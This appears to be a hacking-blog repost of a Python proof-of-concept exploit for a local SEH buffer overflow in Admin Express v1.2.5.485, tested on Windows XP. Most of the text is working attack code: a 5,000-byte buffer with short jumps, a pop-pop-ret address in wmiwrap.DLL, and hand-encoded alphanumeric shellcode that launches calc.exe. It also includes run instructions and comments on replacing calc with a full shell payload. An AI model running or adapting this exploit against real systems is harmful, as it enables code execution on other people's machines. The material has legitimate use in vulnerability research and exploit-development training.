Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375843

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Title: Admin Express v1.2.5.485 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow
# Date: May 6th, 2019
# Author: Connor McGarr (https://connormcgarr.github.io)
# Vendor Homepage: https://admin-express.en.softonic.com/
# Software Link: https://admin-express.en.softonic.com/download
# Version v1.2.5.485
# Tested on: Windows XP SP3 EN

# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open Admin Express
# 4. Select System Compare
# 5. Paste contents into the left-hand side Folder Path field
# 6. Click the scale icon in the middle of the screen, under the Services and Running Processes tabs


# This got a bit hairy. We manually encoded our shellcode and had to use the sub method for encoding each line of payload.
# 05 was a bad character for us, which is an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set.

# Can replace with a shell, if you are willing to do the encoding and decoding math Too preoccupied for now, so here is calc.exe
# You would need to use logical AND plus the sub eax opcodes to get a value on the stack that could jump back to the A buffer, where there is
# much more room. Then you would need to align the stack with the stack pointer value you need (not 0x012F3F4 as used below) and write to the stack upwards.
# You should have enough room for all of the logical AND plus sub eax commands to get a full-sized shell payload on the stack.

# calc.exe shellcode:
# "\x31\xc9\x51\x68"
# "\x63\x61\x6c\x63"
# "\x54\xB8\xc7\x93"
# "\xc2\x77\xff\xd0"

# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01"           # and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10"          # and eax, 0x10101010

# We need to save the current stack pointer before execution of shellcode, due to
# old stack pointer value needed when executing our payload of calc.exe. This puts the current stack pointer 0x0012DC98 into ECX, to be used later
restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack)
restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.)
restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later)

# Stack alignment
# Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack.
# After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack.
alignment = "\x54" # push esp
alignment += "\x58" # pop eax; (puts the value of ESP into EAX)

# Write these 3 sub values in normal format, since memory address, not instruction to be executed. You do not have to do
# it this way, but I do my calculations in normal format to remind me it is a memory address, when doing hex max. For my
# other operations, I used little endian. If you do all of the calculations in one way, you do not need to flip the sub 
# math difference results. This is how I keep things straight
# 384D5555 364D5555 364E5555
alignment += "\x2d\x38\x4d\x55\x55" # sub eax, 0x384D5555
alignment += "\x2d\x36\x4d\x55\x55" # sub eax, 0x364D5555
alignment += "\x2d\x36\x4e\x55\x55" # sub eax, 0x364E5555
alignment += "\x50" # push eax
alignment += "\x5c" # pop esp; (puts the value of eax back into esp)

# calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers.
# 1st line = 2C552D14 01552D14 01562E16
shellcode = zero
shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14
shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14
shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16
shellcode += "\x50" # push eax; (get the value on the stack). We will do this for all remaining steps like this one.

# 2nd line = 24121729 24121739 2414194A
shellcode += zero
shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729
shellcode += "\x2d\x39\x17\x12\x24"     # sub eax, 0x24121739
shellcode += "\x2d\x4a\x19\x14\x24"     # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)
shellcode += "\x50" # push eax

# 3rd line = 34313635 34313434 34313434
shellcode += zero
shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x50" # push eax

# 4th line = 323A1245 323A1245 333A1245
shellcode += zero
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245
shellcode += "\x50" # push eax

# We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall,
# we need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!).
# Here are the 3 values: 403F2711 3F3F2711 3F3F2811
move = zero
move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711
move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711
move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811
move += "\x50" # push eax

# All together now.
payload = "\x41" * 4260
payload += "\x70\x7e\x71\x7e" # JO 126 bytes. If jump fails, default to JNO 126 bytes
payload += "\x42\x4c\x01\x10" # 0x10014c42 pop pop ret wmiwrap.DLL

# There are 2 NULL (\x00) terminators in our buffer of A's, near our nSEH jump. We are going to jump far away from them
# so we have enough room for our shellcode and to decode.
payload += "\x41" * 122 # add padding since we jumped 7e hex bytes (126 bytes) above
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x79\x71\x79" # JO or JNO only 121 bytes
payload += "\x41" * 121 # NOP is in the restricted characters. Using \x41 as a slide into alignment
payload += restore
payload += alignment
payload += shellcode
payload += move
payload += "\x43" * (5000-len(payload))

f = open('pwn.txt', 'w')
f.write(payload)
f.close()